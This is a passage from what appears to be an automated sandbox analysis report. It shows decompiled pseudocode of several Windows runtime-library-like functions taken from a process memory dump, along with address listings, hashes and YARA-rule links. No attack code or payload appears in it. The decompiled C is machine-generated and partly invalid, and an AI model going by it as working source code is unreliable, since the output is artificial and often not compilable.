									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										E04669240(_t68, _t82, _t82, _t84, __eflags);
									}
								} else {
									_t79 = 0x47586c4;
									_t72 = 0x47586c0;
									L18:
									E04699B82(_t68, _t72, _t79, _t82, _t84, __eflags);
								}
							}
							goto L5;
						}
					}
				}
			}

0x04669100
0x04669100
0x04669100
0x04669100
0x04669102
0x04669107
0x0466910c
0x04669110
0x04669115
0x04669136
0x04669143
0x046c37e4
0x046c37e4
0x04669149
0x0466914e
0x0466914e
0x04669117
0x0466911d
0x00000000
0x00000000
0x0466911f
0x04669125
0x00000000
0x04669151
0x04669158
0x0466915d
0x04669161
0x04669168
0x046c3715
0x00000000
0x0466916e
0x0466916e
0x04669175
0x04669177
0x0466917e
0x0466917f
0x04669182
0x04669182
0x04669187
0x04669187
0x0466918a
0x0466918d
0x0466918f
0x04669192
0x04669195
0x04669198
0x04669198
0x04669198
0x0466919a
0x00000000
0x00000000
0x046c371f
0x046c3721
0x046c3727
0x046c372f
0x046c3733
0x046c3735
0x046c3738
0x046c373b
0x046c373d
0x046c3740
0x00000000
0x00000000
0x046c3746
0x046c3749
0x00000000
0x00000000
0x046c374f
0x046c3751
0x00000000
0x00000000
0x046c3757
0x046c3759
0x046c375c
0x046c375c
0x046c375e
0x046c375e
0x046c3761
0x046c3764
0x00000000
0x00000000
0x046c3766
0x046c3768
0x046c37a3
0x046c37a3
0x046c37a5
0x046c37a7
0x046c37ad
0x046c37b0
0x046c37b2
0x046c37bc
0x046c37c2
0x046c37c2
0x046c37b2
0x04669187
0x04669187
0x0466918a
0x0466918d
0x0466918f
0x04669192
0x04669195
0x00000000
0x04669195
0x00000000
0x04669187
0x046c376a
0x046c376a
0x046c376c
0x046c376c
0x046c376f
0x046c3775
0x00000000
0x00000000
0x046c3777
0x046c3779
0x00000000
0x00000000
0x046c3782
0x046c3787
0x046c3789
0x046c3790
0x046c3790
0x046c378b
0x046c378b
0x046c378b
0x046c3792
0x046c3795
0x046c3795
0x046c3798
0x046c3798
0x046c379b
0x046c379b
0x046691a3
0x046691a9
0x046691b0
0x046691b4
0x046691b4
0x046691bb
0x046691c0
0x046691c5
0x046691c7
0x046c37da
0x046691cd
0x046691cd
0x046691cd
0x046691d2
0x046691d5
0x04669239
0x04669239
0x046691d7
0x046691db
0x046691e1
0x046691e7
0x046691fd
0x04669203
0x0466921e
0x04669223
0x00000000
0x04669223
0x04669205
0x04669208
0x0466920c
0x04669214
0x04669214
0x046691e9
0x046691e9
0x046691ee
0x046691f3
0x046691f3
0x046691f3
0x046691e7
0x00000000
0x046691db
0x04669187
0x04669168

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1900b617ff84eaffe382204d8eb8f1f5c37300f5e4428c25fc6a91d7ff19dbf
Instruction ID: dd81af4142dcc0310c001bcdb7f738daeebdbc4f0a2549118166573f2d7f885b
Opcode Fuzzy Hash: f1900b617ff84eaffe382204d8eb8f1f5c37300f5e4428c25fc6a91d7ff19dbf
Instruction Fuzzy Hash: 02319EB1A01245DFEB25EF68C5887ACF7F1BB58318F25815AC80667341E374B988CB96

Uniqueness

Uniqueness Score: -1.00%

Function 04680050, Relevance: .1, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E04680050(void* __ecx) {
				signed int _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t30;
				intOrPtr* _t31;
				signed int _t34;
				void* _t40;
				void* _t41;
				signed int _t44;
				intOrPtr _t47;
				signed int _t58;
				void* _t59;
				void* _t61;
				void* _t62;
				signed int _t64;

				_push(__ecx);
				_v8 =  *0x475d360 ^ _t64;
				_t61 = __ecx;
				_t2 = _t61 + 0x20; // 0x20
				E04699ED0(_t2, 1, 0);
				_t52 =  *(_t61 + 0x8c);
				_t4 = _t61 + 0x8c; // 0x8c
				_t40 = _t4;
				do {
					_t44 = _t52;
					_t58 = _t52 & 0x00000001;
					_t24 = _t44;
					asm("lock cmpxchg [ebx], edx");
					_t52 = _t44;
				} while (_t52 != _t44);
				if(_t58 == 0) {
					L7:
					_pop(_t59);
					_pop(_t62);
					_pop(_t41);
					return E046AB640(_t24, _t41, _v8 ^ _t64, _t52, _t59, _t62);
				}
				asm("lock xadd [esi], eax");
				_t47 =  *[fs:0x18];
				 *((intOrPtr*)(_t61 + 0x50)) =  *((intOrPtr*)(_t47 + 0x19c));
				 *((intOrPtr*)(_t61 + 0x54)) =  *((intOrPtr*)(_t47 + 0x1a0));
				_t30 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t30 != 0) {
					if( *_t30 == 0) {
						goto L4;
					}
					_t31 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					L5:
					if( *_t31 != 0) {
						_t18 = _t61 + 0x78; // 0x78
						E04738A62( *(_t61 + 0x5c), _t18,  *((intOrPtr*)(_t61 + 0x30)),  *((intOrPtr*)(_t61 + 0x34)),  *((intOrPtr*)(_t61 + 0x3c)));
					}
					_t52 =  *(_t61 + 0x5c);
					_t11 = _t61 + 0x78; // 0x78
					_t34 = E04699702(_t40, _t11,  *(_t61 + 0x5c),  *((intOrPtr*)(_t61 + 0x74)), 0);
					_t24 = _t34 | 0xffffffff;
					asm("lock xadd [esi], eax");
					if((_t34 | 0xffffffff) == 0) {
						 *0x475b1e0(_t61);
						_t24 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t61 + 4))))))();
					}
					goto L7;
				}
				L4:
				_t31 = 0x7ffe0386;
				goto L5;
			}

0x04680055
0x0468005d
0x04680062
0x0468006c
0x0468006f
0x04680074
0x0468007a
0x0468007a
0x04680080
0x04680080
0x04680087
0x0468008d
0x0468008f
0x04680093
0x04680095
0x0468009b
0x046800f8
0x046800fb
0x046800fc
0x046800ff
0x04680108
0x04680108
0x046800a2
0x046800a6
0x046800b3
0x046800bc
0x046800c5
0x046800ca
0x046cc01e
0x00000000
0x00000000
0x046cc02d
0x046800d5
0x046800d9
0x046cc03d
0x046cc046
0x046cc046
0x046800df
0x046800e2
0x046800ea
0x046800ef
0x046800f2
0x046800f6
0x04680111
0x04680117
0x04680117
0x00000000
0x046800f6
0x046800d0
0x046800d0
0x00000000

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac7ce1ca5250373f964e8a3b67a5818623cba281ec53904832c17b9cfc1e6a16
Instruction ID: 10210aee45ccbe5172bb94d4a4d4e1b4d5ba6759f12816e346d16f70d1b6d894
Opcode Fuzzy Hash: ac7ce1ca5250373f964e8a3b67a5818623cba281ec53904832c17b9cfc1e6a16
Instruction Fuzzy Hash: 04317A31601B048FD721DF28C844BA6B3E5FF88718F158A6DE49A87B90EB75BC05CB90

Uniqueness

Uniqueness Score: -1.00%

Function 046E6C0A, Relevance: .1, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E046E6C0A(signed short* __ecx, signed char __edx, signed char _a4, signed char _a8) {
				signed short* _v8;
				signed char _v12;
				void* _t22;
				signed char* _t23;
				intOrPtr _t24;
				signed short* _t44;
				void* _t47;
				signed char* _t56;
				signed char* _t58;

				_t48 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t44 = __ecx;
				_v12 = __edx;
				_v8 = __ecx;
				_t22 = E04687D50();
				_t58 = 0x7ffe0384;
				if(_t22 == 0) {
					_t23 = 0x7ffe0384;
				} else {
					_t23 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				}
				if( *_t23 != 0) {
					_t24 =  *0x4757b9c; // 0x0
					_t47 = ( *_t44 & 0x0000ffff) + 0x30;
					_t23 = L04684620(_t48,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t24 + 0x180000, _t47);
					_t56 = _t23;
					if(_t56 != 0) {
						_t56[0x24] = _a4;
						_t56[0x28] = _a8;
						_t56[6] = 0x1420;
						_t56[0x20] = _v12;
						_t14 =  &(_t56[0x2c]); // 0x2c
						E046AF3E0(_t14, _v8[2],  *_v8 & 0x0000ffff);
						_t56[0x2c + (( *_v8 & 0x0000ffff) >> 1) * 2] = 0;
						if(E04687D50() != 0) {
							_t58 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						}
						_push(_t56);
						_push(_t47 - 0x20);
						_push(0x402);
						_push( *_t58 & 0x000000ff);
						E046A9AE0();
						_t23 = L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t56);
					}
				}
				return _t23;
			}

0x046e6c0a
0x046e6c0f
0x046e6c10
0x046e6c13
0x046e6c15
0x046e6c19
0x046e6c1c
0x046e6c21
0x046e6c28
0x046e6c3a
0x046e6c2a
0x046e6c33
0x046e6c33
0x046e6c3f
0x046e6c48
0x046e6c4d
0x046e6c60
0x046e6c65
0x046e6c69
0x046e6c73
0x046e6c79
0x046e6c7f
0x046e6c86
0x046e6c90
0x046e6c94
0x046e6ca6
0x046e6cb2
0x046e6cbd
0x046e6cbd
0x046e6cc3
0x046e6cc7
0x046e6ccb
0x046e6cd0
0x046e6cd1
0x046e6ce2
0x046e6ce2
0x046e6c69
0x046e6ced

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df9f0ab043ef0776aaa67855be03da1e01cb53c1d85ef50a3086aa6d3ff38cb0
Instruction ID: 5c5bc4c2f088d62553d88e4bc847781214990698bbb2c9cdcb4e44d3fb32b69f
Opcode Fuzzy Hash: df9f0ab043ef0776aaa67855be03da1e01cb53c1d85ef50a3086aa6d3ff38cb0
Instruction Fuzzy Hash: D121ABB1A00644AFD715DB6AD880E6AB7F8FF58704F1401AAF904CB790E634ED50CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 046A90AF, Relevance: .1, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E046A90AF(intOrPtr __ecx, void* __edx, intOrPtr* _a4) {
				intOrPtr* _v0;
				void* _v8;
				signed int _v12;
				intOrPtr _v16;
				char _v36;
				void* _t38;
				intOrPtr _t41;
				void* _t44;
				signed int _t45;
				intOrPtr* _t49;
				signed int _t57;
				signed int _t58;
				intOrPtr* _t59;
				void* _t62;
				void* _t63;
				void* _t65;
				void* _t66;
				signed int _t69;
				intOrPtr* _t70;
				void* _t71;
				intOrPtr* _t72;
				intOrPtr* _t73;
				char _t74;

				_t65 = __edx;
				_t57 = _a4;
				_t32 = __ecx;
				_v8 = __edx;
				_t3 = _t32 + 0x14c; // 0x14c
				_t70 = _t3;
				_v16 = __ecx;
				_t72 =  *_t70;
				while(_t72 != _t70) {
					if( *((intOrPtr*)(_t72 + 0xc)) != _t57) {
						L24:
						_t72 =  *_t72;
						continue;
					}
					_t30 = _t72 + 0x10; // 0x10
					if(E046BD4F0(_t30, _t65, _t57) == _t57) {
						return 0xb7;
					}
					_t65 = _v8;
					goto L24;
				}
				_t61 = _t57;
				_push( &_v12);
				_t66 = 0x10;
				if(E0469E5E0(_t57, _t66) < 0) {
					return 0x216;
				}
				_t73 = L04684620(_t61,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v12);
				if(_t73 == 0) {
					_t38 = 0xe;
					return _t38;
				}
				_t9 = _t73 + 0x10; // 0x10
				 *((intOrPtr*)(_t73 + 0xc)) = _t57;
				E046AF3E0(_t9, _v8, _t57);
				_t41 =  *_t70;
				if( *((intOrPtr*)(_t41 + 4)) != _t70) {
					_t62 = 3;
					asm("int 0x29");
					_push(_t62);
					_push(_t57);
					_push(_t73);
					_push(_t70);
					_t71 = _t62;
					_t74 = 0;
					_v36 = 0;
					_t63 = E0469A2F0(_t62, _t71, 1, 6,  &_v36);
					if(_t63 == 0) {
						L20:
						_t44 = 0x57;
						return _t44;
					}
					_t45 = _v12;
					_t58 = 0x1c;
					if(_t45 < _t58) {
						goto L20;
					}
					_t69 = _t45 / _t58;
					if(_t69 == 0) {
						L19:
						return 0xe8;
					}
					_t59 = _v0;
					do {
						if( *((intOrPtr*)(_t63 + 0xc)) != 2) {
							goto L18;
						}
						_t49 =  *((intOrPtr*)(_t63 + 0x14)) + _t71;
						 *_t59 = _t49;
						if( *_t49 != 0x53445352) {
							goto L18;
						}
						 *_a4 =  *((intOrPtr*)(_t63 + 0x10));
						return 0;
						L18:
						_t63 = _t63 + 0x1c;
						_t74 = _t74 + 1;
					} while (_t74 < _t69);
					goto L19;
				}
				 *_t73 = _t41;
				 *((intOrPtr*)(_t73 + 4)) = _t70;
				 *((intOrPtr*)(_t41 + 4)) = _t73;
				 *_t70 = _t73;
				 *(_v16 + 0xdc) =  *(_v16 + 0xdc) | 0x00000010;
				return 0;
			}

0x046a90af
0x046a90b8
0x046a90bb
0x046a90bf
0x046a90c2
0x046a90c2
0x046a90c8
0x046a90cb
0x046a90cd
0x046e14d7
0x046e14eb
0x046e14eb
0x00000000
0x046e14eb
0x046e14db
0x046e14e6
0x00000000
0x046e14f2
0x046e14e8
0x00000000
0x046e14e8
0x046a90d8
0x046a90da
0x046a90dd
0x046a90e5
0x00000000
0x046a9139
0x046a90fa
0x046a90fe
0x046a9142
0x00000000
0x046a9142
0x046a9104
0x046a9107
0x046a910b
0x046a9110
0x046a9118
0x046a9147
0x046a9148
0x046a914f
0x046a9150
0x046a9151
0x046a9152
0x046a9156
0x046a915d
0x046a9160
0x046a9168
0x046a916c
0x046a91bc
0x046a91be
0x00000000
0x046a91be
0x046a916e
0x046a9173
0x046a9176
0x00000000
0x00000000
0x046a917c
0x046a9180
0x046a91b5
0x00000000
0x046a91b5
0x046a9182
0x046a9185
0x046a9189
0x00000000
0x00000000
0x046a918e
0x046a9190
0x046a9198
0x00000000
0x00000000
0x046a91a0
0x00000000
0x046a91ad
0x046a91ad
0x046a91b0
0x046a91b1
0x00000000
0x046a9185
0x046a911a
0x046a911c
0x046a911f
0x046a9125
0x046a9127
0x00000000

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
Instruction ID: 4f8ef8e55fa1728186596d19cdc9c1b877751139a07ba4b2c7de6fe363672911
Opcode Fuzzy Hash: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
Instruction Fuzzy Hash: 14217FB1A00704EFDB20DF59C844AAAF7F8EB54354F24886AE949A7300F330BD549F90

Uniqueness

Uniqueness Score: -1.00%

Function 04693B7A, Relevance: .1, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E04693B7A(void* __ecx) {
				signed int _v8;
				char _v12;
				intOrPtr _v20;
				intOrPtr _t17;
				intOrPtr _t26;
				void* _t35;
				void* _t38;
				void* _t41;
				intOrPtr _t44;

				_t17 =  *0x47584c4; // 0x0
				_v12 = 1;
				_v8 =  *0x47584c0 * 0x4c;
				_t41 = __ecx;
				_t35 = L04684620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t17 + 0x000c0000 | 0x00000008,  *0x47584c0 * 0x4c);
				if(_t35 == 0) {
					_t44 = 0xc0000017;
				} else {
					_push( &_v8);
					_push(_v8);
					_push(_t35);
					_push(4);
					_push( &_v12);
					_push(0x6b);
					_t44 = E046AAA90();
					_v20 = _t44;
					if(_t44 >= 0) {
						E046AFA60( *((intOrPtr*)(_t41 + 0x20)), 0,  *0x47584c0 * 0xc);
						_t38 = _t35;
						if(_t35 < _v8 + _t35) {
							do {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t38 = _t38 +  *((intOrPtr*)(_t38 + 4));
							} while (_t38 < _v8 + _t35);
							_t44 = _v20;
						}
					}
					_t26 =  *0x47584c4; // 0x0
					L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t26 + 0xc0000, _t35);
				}
				return _t44;
			}

0x04693b89
0x04693b96
0x04693ba1
0x04693bab
0x04693bb5
0x04693bb9
0x046d6298
0x04693bbf
0x04693bc2
0x04693bc3
0x04693bc9
0x04693bca
0x04693bcc
0x04693bcd
0x04693bd4
0x04693bd6
0x04693bdb
0x04693bea
0x04693bf7
0x04693bfb
0x04693bff
0x04693c09
0x04693c0a
0x04693c0b
0x04693c0f
0x04693c14
0x04693c18
0x04693c18
0x04693bfb
0x04693c1b
0x04693c30
0x04693c30
0x04693c3d

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59f8b5c014070100c424bccaf2a953f6e28b1000d169efda7086ada3c75ea4a7
Instruction ID: 5573f53c0a3588715e5237311527f94485d24565eb451e73f15f4c7420e57b71
Opcode Fuzzy Hash: 59f8b5c014070100c424bccaf2a953f6e28b1000d169efda7086ada3c75ea4a7
Instruction Fuzzy Hash: 2F21B0B2A00504EFDB00EF98CD81BAAB7BDFB44308F150068EA04AB251E7B1BD51CB94

Uniqueness

Uniqueness Score: -1.00%

Function 046E6CF0, Relevance: .1, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E046E6CF0(void* __edx, intOrPtr _a4, short _a8) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v28;
				char _v36;
				char _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char* _t21;
				void* _t24;
				void* _t36;
				void* _t38;
				void* _t46;

				_push(_t36);
				_t46 = __edx;
				_v12 = 0;
				_v8 = 0;
				_v20 = 0;
				_v16 = 0;
				if(E04687D50() == 0) {
					_t21 = 0x7ffe0384;
				} else {
					_t21 = ( *[fs:0x30])[0x50] + 0x22a;
				}
				if( *_t21 != 0) {
					_t21 =  *[fs:0x30];
					if((_t21[0x240] & 0x00000004) != 0) {
						if(E04687D50() == 0) {
							_t21 = 0x7ffe0385;
						} else {
							_t21 = ( *[fs:0x30])[0x50] + 0x22b;
						}
						if(( *_t21 & 0x00000020) != 0) {
							_t56 = _t46;
							if(_t46 == 0) {
								_t46 = 0x4645c80;
							}
							_push(_t46);
							_push( &_v12);
							_t24 = E0469F6E0(_t36, 0, _t46, _t56);
							_push(_a4);
							_t38 = _t24;
							_push( &_v28);
							_t21 = E0469F6E0(_t38, 0, _t46, _t56);
							if(_t38 != 0) {
								if(_t21 != 0) {
									E046E7016(_a8, 0, 0, 0,  &_v36,  &_v28);
									L04682400( &_v52);
								}
								_t21 = L04682400( &_v28);
							}
						}
					}
				}
				return _t21;
			}

0x046e6cfb
0x046e6d00
0x046e6d02
0x046e6d06
0x046e6d0a
0x046e6d0e
0x046e6d19
0x046e6d2b
0x046e6d1b
0x046e6d24
0x046e6d24
0x046e6d33
0x046e6d39
0x046e6d46
0x046e6d4f
0x046e6d61
0x046e6d51
0x046e6d5a
0x046e6d5a
0x046e6d69
0x046e6d6b
0x046e6d6d
0x046e6d6f
0x046e6d6f
0x046e6d74
0x046e6d79
0x046e6d7a
0x046e6d7f
0x046e6d82
0x046e6d88
0x046e6d89
0x046e6d90
0x046e6d94
0x046e6da7
0x046e6db1
0x046e6db1
0x046e6dbb
0x046e6dbb
0x046e6d90
0x046e6d69
0x046e6d46
0x046e6dc6

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c14f7c8e260cb19a2e822a4a4dcab5010d20e2c3a9fb2d0fc44317ddd83a9e4d
Instruction ID: a01052569b09d8023093823f51ac59235d226574150c9947359024486c27a3e4
Opcode Fuzzy Hash: c14f7c8e260cb19a2e822a4a4dcab5010d20e2c3a9fb2d0fc44317ddd83a9e4d
Instruction Fuzzy Hash: 5A21DE725013489BD711EF2AC944B7BB7ECEFA1744F84056BB940CB261FB34E909C6A6

Uniqueness

Uniqueness Score: -1.00%

Function 0473070D, Relevance: .1, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0473070D(signed int* __ecx, signed int __edx, void* __eflags, signed int _a4, signed int _a8) {
				char _v8;
				intOrPtr _v11;
				signed int _v12;
				intOrPtr _v15;
				signed int _v16;
				intOrPtr _v28;
				void* __ebx;
				char* _t32;
				signed int* _t38;
				signed int _t60;

				_t38 = __ecx;
				_v16 = __edx;
				_t60 = E047307DF(__ecx, __edx,  &_a4,  &_a8, 2);
				if(_t60 != 0) {
					_t7 = _t38 + 0x38; // 0x29cd5903
					_push( *_t7);
					_t9 = _t38 + 0x34; // 0x6adeeb00
					_push( *_t9);
					_v12 = _a8 << 0xc;
					_t11 = _t38 + 4; // 0x5de58b5b
					_push(0x4000);
					_v8 = (_a4 << 0xc) + (_v16 - ( *__ecx & _v16) >> 4 <<  *_t11) + ( *__ecx & _v16);
					E0472AFDE( &_v8,  &_v12);
					E04731293(_t38, _v28, _t60);
					if(E04687D50() == 0) {
						_t32 = 0x7ffe0380;
					} else {
						_t32 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t32 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						_t21 = _t38 + 0x3c; // 0xc3595e5f
						E047214FB(_t38,  *_t21, _v11, _v15, 0xd);
					}
				}
				return  ~_t60;
			}

0x0473071b
0x04730724
0x04730734
0x04730738
0x0473074b
0x0473074b
0x04730753
0x04730753
0x04730759
0x0473075d
0x04730774
0x04730779
0x0473077d
0x04730789
0x04730795
0x047307a7
0x04730797
0x047307a0
0x047307a0
0x047307af
0x047307c4
0x047307cd
0x047307cd
0x047307af
0x047307dc

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16b9495bd7cfc8dc207f06a58ad33f13931981def28ffdf8d69df6cf9eebd83e
Instruction ID: 16d762a98b59884b3756db08b71502a816adff2ff710d56ef94708b8e6aad60a
Opcode Fuzzy Hash: 16b9495bd7cfc8dc207f06a58ad33f13931981def28ffdf8d69df6cf9eebd83e
Instruction Fuzzy Hash: C52126363042409FDB15DF18C884B6ABBA9FFC4350F04866DF9958B386D730E919CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0468AE73, Relevance: .1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E0468AE73(intOrPtr __ecx, void* __edx) {
				intOrPtr _v8;
				void* _t19;
				char* _t22;
				signed char* _t24;
				intOrPtr _t25;
				intOrPtr _t27;
				void* _t31;
				intOrPtr _t36;
				char* _t38;
				signed char* _t42;

				_push(__ecx);
				_t31 = __edx;
				_v8 = __ecx;
				_t19 = E04687D50();
				_t38 = 0x7ffe0384;
				if(_t19 != 0) {
					_t22 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				} else {
					_t22 = 0x7ffe0384;
				}
				_t42 = 0x7ffe0385;
				if( *_t22 != 0) {
					if(E04687D50() == 0) {
						_t24 = 0x7ffe0385;
					} else {
						_t24 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t24 & 0x00000010) != 0) {
						goto L17;
					} else {
						goto L3;
					}
				} else {
					L3:
					_t27 = E04687D50();
					if(_t27 != 0) {
						_t27 =  *[fs:0x30];
						_t38 =  *((intOrPtr*)(_t27 + 0x50)) + 0x22a;
					}
					if( *_t38 != 0) {
						_t27 =  *[fs:0x30];
						if(( *(_t27 + 0x240) & 0x00000004) == 0) {
							goto L5;
						}
						_t27 = E04687D50();
						if(_t27 != 0) {
							_t27 =  *[fs:0x30];
							_t42 =  *((intOrPtr*)(_t27 + 0x50)) + 0x22b;
						}
						if(( *_t42 & 0x00000020) != 0) {
							L17:
							_t25 = _v8;
							_t36 = 0;
							if(_t25 != 0) {
								_t36 =  *((intOrPtr*)(_t25 + 0x18));
							}
							_t27 = E046E7794( *((intOrPtr*)(_t31 + 0x18)), _t36,  *((intOrPtr*)(_t31 + 0x94)),  *(_t31 + 0x24) & 0x0000ffff,  *((intOrPtr*)(_t31 + 0x28)));
						}
						goto L5;
					} else {
						L5:
						return _t27;
					}
				}
			}

0x0468ae78
0x0468ae7c
0x0468ae7e
0x0468ae81
0x0468ae86
0x0468ae8d
0x046d2691
0x0468ae93
0x0468ae93
0x0468ae93
0x0468ae98
0x0468ae9d
0x046d26a2
0x046d26b4
0x046d26a4
0x046d26ad
0x046d26ad
0x046d26b9
0x00000000
0x046d26bb
0x00000000
0x046d26bb
0x0468aea3
0x0468aea3
0x0468aea3
0x0468aeaa
0x046d26c0
0x046d26c9
0x046d26c9
0x0468aeb3
0x046d26d4
0x046d26e1
0x00000000
0x00000000
0x046d26e7
0x046d26ee
0x046d26f0
0x046d26f9
0x046d26f9
0x046d2702
0x046d2708
0x046d2708
0x046d270b
0x046d270f
0x046d2711
0x046d2711
0x046d2725
0x046d2725
0x00000000
0x0468aeb9
0x0468aeb9
0x0468aebf
0x0468aebf
0x0468aeb3

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 892ffc7d7f960dfab719e72e37e7183e7cc58ff0f898e4f283d94cb5f6144d78
Instruction ID: caa5c0b70956144bdb5dd46a07eaefbcdcfac6b4d4740f96d1bef2b7a0156a7c
Opcode Fuzzy Hash: 892ffc7d7f960dfab719e72e37e7183e7cc58ff0f898e4f283d94cb5f6144d78
Instruction Fuzzy Hash: BF21D031B01680CBEB22AB69C958B2577E8EF50340F1901EAED048B392F734FC42D690

Uniqueness

Uniqueness Score: -1.00%

Function 046E7794, Relevance: .1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E046E7794(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, unsigned int _a8, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _t21;
				void* _t24;
				intOrPtr _t25;
				void* _t36;
				short _t39;
				signed char* _t42;
				unsigned int _t46;
				void* _t50;

				_push(__ecx);
				_push(__ecx);
				_t21 =  *0x4757b9c; // 0x0
				_t46 = _a8;
				_v12 = __edx;
				_v8 = __ecx;
				_t4 = _t46 + 0x2e; // 0x2e
				_t36 = _t4;
				_t24 = L04684620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t21 + 0x180000, _t36);
				_t50 = _t24;
				if(_t50 != 0) {
					_t25 = _a4;
					if(_t25 == 5) {
						L3:
						_t39 = 0x14b1;
					} else {
						_t39 = 0x14b0;
						if(_t25 == 6) {
							goto L3;
						}
					}
					 *((short*)(_t50 + 6)) = _t39;
					 *((intOrPtr*)(_t50 + 0x28)) = _t25;
					_t11 = _t50 + 0x2c; // 0x2c
					 *((intOrPtr*)(_t50 + 0x20)) = _v8;
					 *((intOrPtr*)(_t50 + 0x24)) = _v12;
					E046AF3E0(_t11, _a12, _t46);
					 *((short*)(_t50 + 0x2c + (_t46 >> 1) * 2)) = 0;
					if(E04687D50() == 0) {
						_t42 = 0x7ffe0384;
					} else {
						_t42 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					_push(_t50);
					_t19 = _t36 - 0x20; // 0xe
					_push(0x403);
					_push( *_t42 & 0x000000ff);
					E046A9AE0();
					_t24 = L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t50);
				}
				return _t24;
			}

0x046e7799
0x046e779a
0x046e779b
0x046e77a3
0x046e77ab
0x046e77ae
0x046e77b1
0x046e77b1
0x046e77bf
0x046e77c4
0x046e77c8
0x046e77ce
0x046e77d4
0x046e77e0
0x046e77e0
0x046e77d6
0x046e77d6
0x046e77de
0x00000000
0x00000000
0x046e77de
0x046e77e5
0x046e77f0
0x046e77f3
0x046e77f6
0x046e77fd
0x046e7800
0x046e780c
0x046e7818
0x046e782b
0x046e781a
0x046e7823
0x046e7823
0x046e7830
0x046e7831
0x046e7838
0x046e783d
0x046e783e
0x046e784f
0x046e784f
0x046e785a

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

